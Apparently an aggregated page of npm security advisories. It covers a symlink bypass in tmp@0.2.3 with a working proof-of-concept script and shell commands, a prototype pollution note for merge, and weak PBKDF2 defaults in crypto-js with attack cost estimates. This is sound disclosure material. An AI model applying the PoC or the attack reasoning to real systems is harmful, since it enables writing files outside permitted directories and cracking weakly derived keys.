Version Details and Security Vulnerabilities

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

All versions of package merge <2.1.1 are vulnerable to Prototype Pollution via _recursiveMerge .

Impact

Summary

Crypto-js PBKDF2 is 1,000 times weaker than originally specified in 1993, and at least 1,300,000 times weaker than current industry standard. This is because it both (1) defaults to SHA1, a cryptographic hash algorithm considered insecure since at least 2005 and (2) defaults to one single iteration, a 'strength' or 'difficulty' value specified at 1,000 when specified in 1993. PBKDF2 relies on iteration count as a countermeasure to preimage and collision attacks.

Potential Impact:

1. If used to protect passwords, the impact is high.
2. If used to generate signatures, the impact is high.

Probability / risk analysis / attack enumeration:

1. For at most $45,000, an attacker, given control of only the beginning of a crypto-js PBKDF2 input, can create a value which has identical cryptographic signature to any chosen known value.
2. Due to the length extension attack on SHA1, we can create a value that has identical signature to any unknown value, provided it is prefixed by a known value. It does not matter if PBKDF2 applies 'salt' or 'pepper' or any other secret unknown to the attacker. It will still create an identical signature.

Update: PBKDF2 requires a pseudo-random function that takes two inputs, so HMAC-SHA1 is used rather than plain SHA1. HMAC is not affected by length extension attacks. However, by defaulting to a single PBKDF2 iteration, the hashes do not benefit from the extra computational complexity that PBKDF2 is supposed to provide. The resulting hashes therefore have little protection against an offline brute-force attack.

crypto-js has 10,642 public users as displayed on NPM, today October 11th 2023. The number of transient dependents is likely several orders of magnitude higher.

A very rough GitHub search shows 432 files cross GitHub using PBKDF2 in crypto-js in Typescript or JavaScript, but not specifying any number of iterations.

Affected versions

All versions are impacted. This code has been the same since crypto-js was first created.

Further Cryptanalysis

The issue here is especially egregious because the length extension attack makes useless any secret that might be appended to the plaintext before calculating its signature.

Consider a scheme in which a secret is created for a user's username, and that secret is used to protect e.g. their passwords. Let's say that password is 'fake-password', and their username is 'example-username'.

To encrypt the user password via symmetric encryption we might do encrypt(plaintext: 'fake-password', encryption_key: cryptojs.pbkdf2(value: 'example username' + salt_or_pepper)). By this means, we would, in theory, create an encryption_key that can be determined from the public username, but which requires the secret salt_or_pepper to generate. This is a common scheme for protecting passwords, as exemplified in bcrypt & scrypt. Because the encryption key is symmetric, we can use this derived key to also decrypt the ciphertext.

Because of the length extension issue, if the attacker obtains (via attack 1), a collision with 'example username', the attacker does not need to know salt_or_pepper to decrypt their account data, only their public username.

Description

PBKDF2 is a key-derivation is a key-derivation function that is used for two main purposes: (1) to stretch or squash a variable length password's entropy into a fixed size for consumption by another cryptographic operation and (2) to reduce the chance of downstream operations recovering the password input (for example, for password storage).

Unlike the modern webcrypto standard, crypto-js does not throw an error when a number of iterations is not specified, and defaults to one single iteration. In the year 2000, when PBKDF2 was originally specified, the minimum number of iterations suggested was set at 1,000. Today, OWASP recommends 1,300,000:

https://github.com/brix/crypto-js/blob/4dcaa7afd08f48cd285463b8f9499cdb242605fa/src/pbkdf2.js#L22-L26

Patches

No available patch. The package is not maintained.

Workarounds

Consult the OWASP PBKDF2 Cheatsheet. Configure to use SHA256 with at least 250,000 iterations.

Coordinated disclosure

This issue was simultaneously submitted to crypto-js and crypto-es on the 23rd of October 2023.

Caveats

This issue was found in a security review that was not scoped to crypto-js. This report is not an indication that crypto-js has undergone a formal security assessment by the author.